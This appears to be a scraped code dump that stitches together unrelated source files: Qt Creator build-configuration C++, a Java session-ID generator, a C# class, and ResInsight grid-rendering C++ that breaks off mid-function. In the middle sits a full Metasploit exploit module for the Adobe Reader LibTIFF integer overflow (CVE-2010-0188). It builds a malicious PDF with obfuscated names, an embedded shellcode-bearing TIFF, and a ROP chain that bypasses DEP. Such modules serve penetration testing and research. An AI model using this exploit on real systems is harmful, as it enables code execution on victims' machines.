connect(ProjectTree::instance(), &ProjectTree::currentProjectChanged,
this, &BuildConfiguration::updateCacheAndEmitEnvironmentChanged);
}
Utils::FileName BuildConfiguration::buildDirectory() const
{
const QString path = macroExpander()->expand(QDir::cleanPath(environment().expandVariables(m_buildDirectory.toString())));
return Utils::FileName::fromString(QDir::cleanPath(QDir(target()->project()->projectDirectory().toString()).absoluteFilePath(path)));
}
Utils::FileName BuildConfiguration::rawBuildDirectory() const
{
return m_buildDirectory;
}
void BuildConfiguration::setBuildDirectory(const Utils::FileName &dir)
{
if (dir == m_buildDirectory)
return;
m_buildDirectory = dir;
emitBuildDirectoryChanged();
}
void BuildConfiguration::initialize(const BuildInfo *info)
{
setDisplayName(info->displayName);
setDefaultDisplayName(info->displayName);
setBuildDirectory(info->buildDirectory);
m_stepLists.append(new BuildStepList(this, Constants::BUILDSTEPS_BUILD));
m_stepLists.append(new BuildStepList(this, Constants::BUILDSTEPS_CLEAN));
}
QList<NamedWidget *> BuildConfiguration::createSubConfigWidgets()
{
return QList<NamedWidget *>() << new BuildEnvironmentWidget(this);
}
QList<Core::Id> BuildConfiguration::knownStepLists() const
{
return Utils::transform(m_stepLists, &BuildStepList::id);
}
BuildStepList *BuildConfiguration::stepList(Core::Id id) const
{
return Utils::findOrDefault(m_stepLists, Utils::equal(&BuildStepList::id, id));
}
QVariantMap BuildConfiguration::toMap() const
{
QVariantMap map(ProjectConfiguration::toMap());
map.insert(QLatin1String(CLEAR_SYSTEM_ENVIRONMENT_KEY), m_clearSystemEnvironment);
map.insert(QLatin1String(USER_ENVIRONMENT_CHANGES_KEY), Utils::EnvironmentItem::toStringList(m_userEnvironmentChanges));
map.insert(QLatin1String(BUILDDIRECTORY_KEY), m_buildDirectory.toString());
map.insert(QLatin1String(BUILD_STEP_LIST_COUNT), m_stepLists.count());
for (int i = 0; i < m_stepLists.count(); ++i)
map.insert(QLatin1String(BUILD_STEP_LIST_PREFIX) + QString::number(i), m_stepLists.at(i)->toMap());
return map;
}
bool BuildConfiguration::fromMap(const QVariantMap &map)
{
m_clearSystemEnvironment = map.value(QLatin1String(CLEAR_SYSTEM_ENVIRONMENT_KEY)).toBool();
m_userEnvironmentChanges = Utils::EnvironmentItem::fromStringList(map.value(QLatin1String(USER_ENVIRONMENT_CHANGES_KEY)).toStringList());
m_buildDirectory = Utils::FileName::fromString(map.value(QLatin1String(BUILDDIRECTORY_KEY)).toString());
updateCacheAndEmitEnvironmentChanged();
qDeleteAll(m_stepLists);
m_stepLists.clear();
int maxI = map.value(QLatin1String(BUILD_STEP_LIST_COUNT), 0).toInt();
for (int i = 0; i < maxI; ++i) {
QVariantMap data = map.value(QLatin1String(BUILD_STEP_LIST_PREFIX) + QString::number(i)).toMap();
if (data.isEmpty()) {
qWarning() << "No data for build step list" << i << "found!";
continue;
}
auto list = new BuildStepList(this, idFromMap(data));
if (!list->fromMap(data)) {
qWarning() << "Failed to restore build step list" << i;
delete list;
return false;
}
m_stepLists.append(list);
}
// We currently assume there to be at least a clean and build list!
QTC_CHECK(knownStepLists().contains(Core::Id(Constants::BUILDSTEPS_BUILD)));
QTC_CHECK(knownStepLists().contains(Core::Id(Constants::BUILDSTEPS_CLEAN)));
return ProjectConfiguration::fromMap(map);
}
void BuildConfiguration::updateCacheAndEmitEnvironmentChanged()
{
Utils::Environment env = baseEnvironment();
env.modify(userEnvironmentChanges());
if (env == m_cachedEnvironment)
return;
m_cachedEnvironment = env;
emit environmentChanged(); // might trigger buildDirectoryChanged signal!
}
void BuildConfiguration::emitBuildDirectoryChanged()
{
if (buildDirectory() != m_lastEmmitedBuildDirectory) {
m_lastEmmitedBuildDirectory = buildDirectory();
emit buildDirectoryChanged();
}
}
Target *BuildConfiguration::target() const
{
return static_cast<Target *>(parent());
}
Project *BuildConfiguration::project() const
{
return target()->project();
}
Utils::Environment BuildConfiguration::baseEnvironment() const
{
Utils::Environment result;
if (useSystemEnvironment())
result = Utils::Environment::systemEnvironment();
addToEnvironment(result);
target()->kit()->addToEnvironment(result);
return result;
}
QString BuildConfiguration::baseEnvironmentText() const
{
if (useSystemEnvironment())
return tr("System Environment");
else
return tr("Clean Environment");
}
Utils::Environment BuildConfiguration::environment() const
{
return m_cachedEnvironment;
}
void BuildConfiguration::setUseSystemEnvironment(bool b)
{
if (useSystemEnvironment() == b)
return;
m_clearSystemEnvironment = !b;
updateCacheAndEmitEnvironmentChanged();
}
void BuildConfiguration::addToEnvironment(Utils::Environment &env) const
{
Q_UNUSED(env);
}
bool BuildConfiguration::useSystemEnvironment() const
{
return !m_clearSystemEnvironment;
}
QList<Utils::EnvironmentItem> BuildConfiguration::userEnvironmentChanges() const
{
return m_userEnvironmentChanges;
}
void BuildConfiguration::setUserEnvironmentChanges(const QList<Utils::EnvironmentItem> &diff)
{
if (m_userEnvironmentChanges == diff)
return;
m_userEnvironmentChanges = diff;
updateCacheAndEmitEnvironmentChanged();
}
bool BuildConfiguration::isEnabled() const
{
return true;
}
QString BuildConfiguration::disabledReason() const
{
return QString();
}
bool BuildConfiguration::regenerateBuildFiles(Node *node)
{
Q_UNUSED(node);
return false;
}
QString BuildConfiguration::buildTypeName(BuildConfiguration::BuildType type)
{
switch (type) {
case ProjectExplorer::BuildConfiguration::Debug:
return QLatin1String("debug");
case ProjectExplorer::BuildConfiguration::Profile:
return QLatin1String("profile");
case ProjectExplorer::BuildConfiguration::Release:
return QLatin1String("release");
case ProjectExplorer::BuildConfiguration::Unknown: // fallthrough
default:
return QLatin1String("unknown");
}
}
bool BuildConfiguration::isActive() const
{
return target()->isActive() && target()->activeBuildConfiguration() == this;
}
/*!
* Helper function that prepends the directory containing the C++ toolchain to
* PATH. This is used to in build configurations targeting broken build systems
* to provide hints about which compiler to use.
*/
void BuildConfiguration::prependCompilerPathToEnvironment(Utils::Environment &env) const
{
return prependCompilerPathToEnvironment(target()->kit(), env);
}
void BuildConfiguration::prependCompilerPathToEnvironment(Kit *k, Utils::Environment &env)
{
const ToolChain *tc
= ToolChainKitInformation::toolChain(k, ProjectExplorer::Constants::CXX_LANGUAGE_ID);
if (!tc)
return;
const Utils::FileName compilerDir = tc->compilerCommand().parentDir();
if (!compilerDir.isEmpty())
env.prependOrSetPath(compilerDir.toString());
}
///
// IBuildConfigurationFactory
///
static QList<IBuildConfigurationFactory *> g_buildConfigurationFactories;
IBuildConfigurationFactory::IBuildConfigurationFactory()
{
g_buildConfigurationFactories.append(this);
}
IBuildConfigurationFactory::~IBuildConfigurationFactory()
{
g_buildConfigurationFactories.removeOne(this);
}
int IBuildConfigurationFactory::priority(const Target *parent) const
{
return canHandle(parent) ? m_basePriority : -1;
}
bool IBuildConfigurationFactory::supportsTargetDeviceType(Core::Id id) const
{
if (m_supportedTargetDeviceTypes.isEmpty())
return true;
return m_supportedTargetDeviceTypes.contains(id);
}
int IBuildConfigurationFactory::priority(const Kit *k, const QString &projectPath) const
{
QTC_ASSERT(!m_supportedProjectMimeTypeName.isEmpty(), return -1);
if (k && Utils::mimeTypeForFile(projectPath).matchesName(m_supportedProjectMimeTypeName)
&& supportsTargetDeviceType(DeviceTypeKitInformation::deviceTypeId(k))) {
return m_basePriority;
}
return -1;
}
// setup
IBuildConfigurationFactory *IBuildConfigurationFactory::find(const Kit *k, const QString &projectPath)
{
IBuildConfigurationFactory *factory = nullptr;
int priority = -1;
for (IBuildConfigurationFactory *i : g_buildConfigurationFactories) {
int iPriority = i->priority(k, projectPath);
if (iPriority > priority) {
factory = i;
priority = iPriority;
}
}
return factory;
}
// create
IBuildConfigurationFactory * IBuildConfigurationFactory::find(Target *parent)
{
IBuildConfigurationFactory *factory = nullptr;
int priority = -1;
for (IBuildConfigurationFactory *i : g_buildConfigurationFactories) {
int iPriority = i->priority(parent);
if (iPriority > priority) {
factory = i;
priority = iPriority;
}
}
return factory;
}
void IBuildConfigurationFactory::setSupportedProjectType(Core::Id id)
{
m_supportedProjectType = id;
}
void IBuildConfigurationFactory::setSupportedProjectMimeTypeName(const QString &mimeTypeName)
{
m_supportedProjectMimeTypeName = mimeTypeName;
}
void IBuildConfigurationFactory::setSupportedTargetDeviceTypes(const QList<Core::Id> &ids)
{
m_supportedTargetDeviceTypes = ids;
}
void IBuildConfigurationFactory::setBasePriority(int basePriority)
{
m_basePriority = basePriority;
}
bool IBuildConfigurationFactory::canHandle(const Target *target) const
{
if (m_supportedProjectType.isValid() && m_supportedProjectType != target->project()->id())
return false;
if (containsType(target->project()->projectIssues(target->kit()), Task::TaskType::Error))
return false;
if (!supportsTargetDeviceType(DeviceTypeKitInformation::deviceTypeId(target->kit())))
return false;
return true;
}
BuildConfiguration *IBuildConfigurationFactory::create(Target *parent, const BuildInfo *info) const
{
if (!canHandle(parent))
return nullptr;
QTC_ASSERT(m_creator, return nullptr);
BuildConfiguration *bc = m_creator(parent);
if (!bc)
return nullptr;
bc->initialize(info);
return bc;
}
BuildConfiguration *IBuildConfigurationFactory::restore(Target *parent, const QVariantMap &map)
{
IBuildConfigurationFactory *factory = nullptr;
int priority = -1;
for (IBuildConfigurationFactory *i : g_buildConfigurationFactories) {
if (!i->canHandle(parent))
continue;
const Core::Id id = idFromMap(map);
if (!id.name().startsWith(i->m_buildConfigId.name()))
continue;
int iPriority = i->priority(parent);
if (iPriority > priority) {
factory = i;
priority = iPriority;
}
}
if (!factory)
return nullptr;
QTC_ASSERT(factory->m_creator, return nullptr);
BuildConfiguration *bc = factory->m_creator(parent);
QTC_ASSERT(bc, return nullptr);
if (!bc->fromMap(map)) {
delete bc;
bc = nullptr;
}
return bc;
}
BuildConfiguration *IBuildConfigurationFactory::clone(Target *parent,
const BuildConfiguration *source)
{
return restore(parent, source->toMap());
}
} // namespace ProjectExplorer
| Java |
package com.example.heregpsloc;
import java.security.SecureRandom;
import java.math.BigInteger;
// http://stackoverflow.com/questions/41107/how-to-generate-a-random-alpha-numeric-string
public final class SessionIdentifierGenerator {
private SecureRandom random = new SecureRandom();
public String nextSessionId() {
return new BigInteger(130, random).toString(32);
}
} | Java |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Acrobat Bundled LibTIFF Integer Overflow',
'Description' => %q{
This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat
Professional versions 8.0 through 8.2 and 9.0 through 9.3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Microsoft', # reported to Adobe
'villy <villys777[at]gmail.com>', # public exploit
# Metasploit version by:
'jduck'
],
'References' =>
[
[ 'CVE', '2010-0188' ],
[ 'BID', '38195' ],
[ 'OSVDB', '62526' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-07.html' ],
[ 'URL', 'http://secunia.com/blog/76/' ],
[ 'URL', 'http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# test results (on Windows XP SP3)
# reader 6.0.1 - untested
# reader 7.0.5 - untested
# reader 7.0.8 - untested
# reader 7.0.9 - untested
# reader 7.1.0 - untested
# reader 7.1.1 - untested
# reader 8.0.0 - untested
# reader 8.1.1 - untested
# reader 8.1.2 - untested
# reader 8.1.3 - untested
# reader 8.1.4 - untested
# reader 8.1.5 - untested
# reader 8.1.6 - untested
# reader 8.2.0 - untested
# reader 9.0.0 - untested
# reader 9.1.0 - untested
# reader 9.2.0 - untested
# reader 9.3.0 - works
[ 'Adobe Reader 9.3.0 on Windows XP SP3 English (w/DEP bypass)',
{
# ew, hardcoded offsets - see make_tiff()
}
],
],
'DisclosureDate' => 'Feb 16 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
tiff_data = make_tiff(payload.encoded)
xml_data = make_xml(tiff_data)
compressed = Zlib::Deflate.deflate(xml_data)
# Create the pdf
pdf = make_pdf(compressed)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def random_non_ascii_string(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def io_def(id)
"%d 0 obj\r\n" % id
end
def io_ref(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def n_obfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ascii_hex_whitespace_encode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(xml_data)
xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol
pdf = "%PDF-1.5" << eol
pdf << "%" << random_non_ascii_string(4) << eol
xref << pdf.length
pdf << io_def(1) << n_obfu("<</Filter/FlateDecode/Length ") << xml_data.length.to_s << n_obfu("/Type /EmbeddedFile>>") << eol
pdf << "stream" << eol
pdf << xml_data << eol
pdf << eol << "endstream" << eol
pdf << endobj
xref << pdf.length
pdf << io_def(2) << n_obfu("<</V () /Kids [") << io_ref(3) << n_obfu("] /T (") << "topmostSubform[0]" << n_obfu(") >>") << eol << endobj
xref << pdf.length
pdf << io_def(3) << n_obfu("<</Parent ") << io_ref(2) << n_obfu(" /Kids [") << io_ref(4) << n_obfu("] /T (") << "Page1[0]" << n_obfu(")>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(4) << n_obfu("<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P ") << io_ref(5)
pdf << n_obfu("/FT /Btn/TU (") << "ImageField1" << n_obfu(")/Ff 65536/Parent ") << io_ref(3)
pdf << n_obfu("/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (") << "ImageField1[0]" << n_obfu(")/Rect [107.385 705.147 188.385 709.087]>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(5) << n_obfu("<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent ")
pdf << io_ref(6) << n_obfu("/Type /Page/PieceInfo null>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(6) << n_obfu("<</Kids [") << io_ref(5) << n_obfu("]/Type /Pages/Count 1>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(7) << ("<</PageMode /UseAttachments/Pages ") << io_ref(6)
pdf << ("/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm ") << io_ref(8)
pdf << ("/Type /Catalog>>")
pdf << eol << endobj
xref << pdf.length
pdf << io_def(8) << n_obfu("<</DA (/Helv 0 Tf 0 g )/XFA [(template) ") << io_ref(1) << n_obfu("]/Fields [")
pdf << io_ref(2) << n_obfu("]>>")
pdf << endobj << eol
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(7) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF"
end
def make_tiff(code)
tiff_offset = 0x2038
shellcode_offset = 1500
tiff = "II*\x00"
tiff << [tiff_offset].pack('V')
tiff << make_nops(shellcode_offset)
tiff << code
# Padding
tiff << rand_text_alphanumeric(tiff_offset - 8 - code.length - shellcode_offset)
tiff << "\x07\x00\x00\x01\x03\x00\x01\x00"
tiff << "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"
tiff << "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"
tiff << "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"
tiff << "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"
tiff << "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"
tiff << "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00"
# The following executes a ret2lib using BIB.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data = [
0x70072f7, # pop eax / ret
0x10104,
0x70015bb, # pop ecx / ret
0x1000,
0x700154d, # mov [eax], ecx / ret
0x70015bb, # pop ecx / ret
0x7ffe0300, # -- location of KiFastSystemCall
0x7007fb2, # mov eax, [ecx] / ret
0x70015bb, # pop ecx / ret
0x10011,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70015bb, # pop ecx / ret
0x10100,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70072f7, # pop eax / ret
0x10011,
0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
0x7005c54, # pop esi / add esp,0x14 / ret
0xffffffff,
0x10100,
0x0,
0x10104,
0x1000,
0x40,
# The next bit effectively copies data from the interleaved stack to the memory
# pointed to by eax
# The data copied is:
# \x5a\x52\x6a\x02\x58\xcd\x2e\x3c\xf4\x74\x5a\x05\xb8\x49\x49\x2a
# \x00\x8b\xfa\xaf\x75\xea\x87\xfe\xeb\x0a\x5f\xb9\xe0\x03\x00\x00
# \xf3\xa5\xeb\x09\xe8\xf1\xff\xff\xff\x90\x90\x90\xff\xff\xff\x90
0x700d731, # mov eax, [ebp-0x24] / ret
0x70015bb, # pop ecx / ret
0x26a525a,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x3c2ecd58,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xf4745a05,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x2a4949b8,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xaffa8b00,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xfe87ea75,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xb95f0aeb,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x3e0,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x9eba5f3,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xfffff1e8,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x909090ff,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90ffffff,
0x700154d, # mov [eax], ecx / ret
0x700d731, # mov eax, [ebp-0x24] / ret
0x700112f # call eax -- (execute stub to transition to full shellcode)
].pack('V*')
tiff << stack_data
Rex::Text.encode_base64(tiff)
end
def make_xml(tiff_data)
xml_data = <<-EOS
<?xml version="1.0" encoding="UTF-8" ?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<interactive>1</interactive>
<linearized>1</linearized>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination>
</present>
</config>
<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
<subform name="topmostSubform" layout="tb" locale="en_US">
<pageSet>
<pageArea id="PageArea1" name="PageArea1">
<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />
<medium short="612pt" long="792pt" stock="custom" />
</pageArea>
</pageSet>
<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
<break before="pageArea" beforeTarget="#PageArea1" />
<bind match="none" />
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
<ui>
<imageEdit />
</ui>
</field>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner FormTargetVersion 24?>
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
<?templateDesigner Zoom 94?>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data>
<topmostSubform>
<ImageField1 xfa:contentType="image/tif" href="">REPLACE_TIFF</ImageField1>
</topmostSubform>
</xfa:data>
</xfa:datasets>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />
<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
<subform name="topmostSubform">
<instanceManager name="_Page1" />
<subform name="Page1">
<field name="ImageField1" />
</subform>
<pageSet>
<pageArea name="PageArea1" />
</pageSet>
</subform>
</form>
</xdp:xdp>
EOS
xml_data.gsub!(/REPLACE_TIFF/, tiff_data)
xml_data
end
end
| Java |
using System;
using System.IO;
using System.Net;
using System.Security.Cryptography;
using DeanCCCore.Core._2ch.Jane;
using DeanCCCore.Core.Utility;
namespace DeanCCCore.Core
{
[Serializable]
public class ZipFileHeader : ImageHeader
{
public ZipFileHeader()
{
}
public ZipFileHeader(int sourceResIndex , string url)
{
SourceResIndex = sourceResIndex;
OriginalUrl = url;
}
public override bool IsZip
{
get
{
return true;
}
}
}
}
| Java |
/////////////////////////////////////////////////////////////////////////////////
//
// Copyright (C) 2011- Statoil ASA
// Copyright (C) 2013- Ceetron Solutions AS
// Copyright (C) 2011-2012 Ceetron AS
//
// ResInsight is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// ResInsight is distributed in the hope that it will be useful, but WITHOUT ANY
// WARRANTY; without even the implied warranty of MERCHANTABILITY or
// FITNESS FOR A PARTICULAR PURPOSE.
//
// See the GNU General Public License at <http://www.gnu.org/licenses/gpl.html>
// for more details.
//
/////////////////////////////////////////////////////////////////////////////////
#include "RivGridPartMgr.h"
#include "RiaApplication.h"
#include "RiaPreferences.h"
#include "RigCaseCellResultsData.h"
#include "RigCaseData.h"
#include "RigResultAccessorFactory.h"
#include "RimEclipseCase.h"
#include "RimCellEdgeResultSlot.h"
#include "RimReservoirCellResultsStorage.h"
#include "RimReservoirView.h"
#include "RimResultSlot.h"
#include "RimTernaryLegendConfig.h"
#include "RimWellCollection.h"
#include "RivCellEdgeEffectGenerator.h"
#include "RivResultToTextureMapper.h"
#include "RivScalarMapperUtils.h"
#include "RivSourceInfo.h"
#include "RivTernaryScalarMapperEffectGenerator.h"
#include "RivTernaryTextureCoordsCreator.h"
#include "RivTextureCoordsCreator.h"
#include "cafEffectGenerator.h"
#include "cafPdmFieldCvfColor.h"
#include "cafPdmFieldCvfMat4d.h"
#include "cafProgressInfo.h"
#include "cvfDrawableGeo.h"
#include "cvfMath.h"
#include "cvfModelBasicList.h"
#include "cvfPart.h"
#include "cvfRenderStateBlending.h"
#include "cvfRenderStatePolygonOffset.h"
#include "cvfRenderState_FF.h"
#include "cvfShaderProgram.h"
#include "cvfShaderProgramGenerator.h"
#include "cvfShaderSourceProvider.h"
#include "cvfShaderSourceRepository.h"
#include "cvfStructGrid.h"
#include "cvfUniform.h"
//--------------------------------------------------------------------------------------------------
///
//--------------------------------------------------------------------------------------------------
RivGridPartMgr::RivGridPartMgr(const RigGridBase* grid, size_t gridIdx)
: m_surfaceGenerator(grid),
m_gridIdx(gridIdx),
m_grid(grid),
m_surfaceFaceFilter(grid),
m_opacityLevel(1.0f),
m_defaultColor(cvf::Color3::WHITE)
{
CVF_ASSERT(grid);
m_cellVisibility = new cvf::UByteArray;
m_surfaceFacesTextureCoords = new cvf::Vec2fArray;
}
//--------------------------------------------------------------------------------------------------
///
//--------------------------------------------------------------------------------------------------
void RivGridPartMgr::setTransform(cvf::Transform* scaleTransform)
{
m_scaleTransform = scaleTransform;
}
//--------------------------------------------------------------------------------------------------
///
//--------------------------------------------------------------------------------------------------
void RivGridPartMgr::setCellVisibility(cvf::UByteArray* cellVisibilities)
{
CVF_ASSERT(m_scaleTransform.notNull());
CVF_ASSERT(cellVisibilities);
m_cellVisibility = cellVisibilities;
m_surfaceGenerator.setCellVisibility(cellVisibilities);
m_surfaceGenerator.addFaceVisibilityFilter(&m_surfaceFaceFilter);
generatePartGeometry(m_surfaceGenerator);
}
void RivGridPartMgr::generatePartGeometry(cvf::StructGridGeometryGenerator& geoBuilder)
{
bool useBufferObjects = true;
// Surface geometry
{
cvf::ref<cvf::DrawableGeo> geo = geoBuilder.generateSurface();
if (geo.notNull())
{
geo->computeNormals();
if (useBufferObjects)
{
geo->setRenderMode(cvf::DrawableGeo::BUFFER_OBJECT);
}
cvf::ref<cvf::Part> part = new cvf::Part;
part->setName("Grid " + cvf::String(static_cast<int>(m_gridIdx)));
part->setId(m_gridIdx); // !! For now, use grid index as part ID (needed for pick info)
part->setDrawable(geo.p());
part->setTransform(m_scaleTransform.p());
// Set mapping from triangle face index to cell index
cvf::ref<RivSourceInfo> si = new RivSourceInfo;
si->m_cellFaceFromTriangleMapper = geoBuilder.triangleToCellFaceMapper();
part->setSourceInfo(si.p());
part->updateBoundingBox();
// Set default effect
caf::SurfaceEffectGenerator geometryEffgen(cvf::Color4f(cvf::Color3f::WHITE), caf::PO_1);
cvf::ref<cvf::Effect> geometryOnlyEffect = geometryEffgen.generateEffect();
part->setEffect(geometryOnlyEffect.p());
part->setEnableMask(surfaceBit);
m_surfaceFaces = part;
}
}
// Mesh geometry
{
cvf::ref<cvf::DrawableGeo> geoMesh = geoBuilder.createMeshDrawable();
if (geoMesh.notNull())
{
if (useBufferObjects)
{
geoMesh->setRenderMode(cvf::DrawableGeo::BUFFER_OBJECT);
}
cvf::ref<cvf::Part> part = new cvf::Part;
part->setName("Grid mesh " + cvf::String(static_cast<int>(m_gridIdx)));
part->setDrawable(geoMesh.p());
part->setTransform(m_scaleTransform.p());
part->updateBoundingBox();
RiaPreferences* prefs = RiaApplication::instance()->preferences();
cvf::ref<cvf::Effect> eff;
caf::MeshEffectGenerator effGen(prefs->defaultGridLineColors());
eff = effGen.generateEffect();
// Set priority to make sure fault lines are rendered first
part->setPriority(10);
part->setEnableMask(meshSurfaceBit);
part->setEffect(eff.p());
m_surfaceGridLines = part;
}
}
}
//--------------------------------------------------------------------------------------------------
///
//--------------------------------------------------------------------------------------------------
void RivGridPartMgr::appendPartsToModel(cvf::ModelBasicList* model)
{
CVF_ASSERT(model != NULL);
if(m_surfaceFaces.notNull() ) model->addPart(m_surfaceFaces.p() );
if(m_surfaceGridLines.notNull()) model->addPart(m_surfaceGridLines.p());
}
//--------------------------------------------------------------------------------------------------
///
//--------------------------------------------------------------------------------------------------
void RivGridPartMgr::updateCellColor(cvf::Color4f color)
{
if (m_surfaceFaces.isNull()) return;
// Set default effect
caf::SurfaceEffectGenerator geometryEffgen(color, caf::PO_1);
cvf::ref<cvf::Effect> geometryOnlyEffect = geometryEffgen.generateEffect();
if (m_surfaceFaces.notNull()) m_surfaceFaces->setEffect(geometryOnlyEffect.p());
if (color.a() < 1.0f)
{
// Set priority to make sure this transparent geometry are rendered last
if (m_surfaceFaces.notNull()) m_surfaceFaces->setPriority(100);
}
m_opacityLevel = color.a();
m_defaultColor = color.toColor3f();
// Update mesh colors as well, in case of change
RiaPreferences* prefs = RiaApplication::instance()->preferences();
cvf::ref<cvf::Effect> eff;
if (m_surfaceFaces.notNull())
{
caf::MeshEffectGenerator effGen(prefs->defaultGridLineColors());
eff = effGen.generateEffect();
m_surfaceGridLines->setEffect(eff.p());
}
}
//--------------------------------------------------------------------------------------------------
///
//--------------------------------------------------------------------------------------------------
void RivGridPartMgr::updateCellResultColor(size_t timeStepIndex, RimResultSlot* cellResultSlot)
{
CVF_ASSERT(cellResultSlot);
RigCaseData* eclipseCase = cellResultSlot->reservoirView()->eclipseCase()->reservoirData();
cvf::ref<cvf::Color3ubArray> surfaceFacesColorArray;
// Outer surface
if (m_surfaceFaces.notNull())
{
if (cellResultSlot->isTernarySaturationSelected())
{
RivTernaryTextureCoordsCreator texturer(cellResultSlot, cellResultSlot->ternaryLegendConfig(),
timeStepIndex,
m_grid->gridIndex(),
m_surfaceGenerator.quadToCellFaceMapper());
texturer.createTextureCoords(m_surfaceFacesTextureCoords.p());
const RivTernaryScalarMapper* mapper = cellResultSlot->ternaryLegendConfig()->scalarMapper();
RivScalarMapperUtils::applyTernaryTextureResultsToPart(m_surfaceFaces.p(), m_surfaceFacesTextureCoords.p(), mapper, m_opacityLevel, caf::FC_NONE);
}
else
{
RivTextureCoordsCreator texturer(cellResultSlot,
timeStepIndex,
m_grid->gridIndex(),
m_surfaceGenerator.quadToCellFaceMapper());
if (!texturer.isValid())
{
return;
}
texturer.createTextureCoords(m_surfaceFacesTextureCoords.p());
const cvf::ScalarMapper* mapper = cellResultSlot->legendConfig()->scalarMapper();
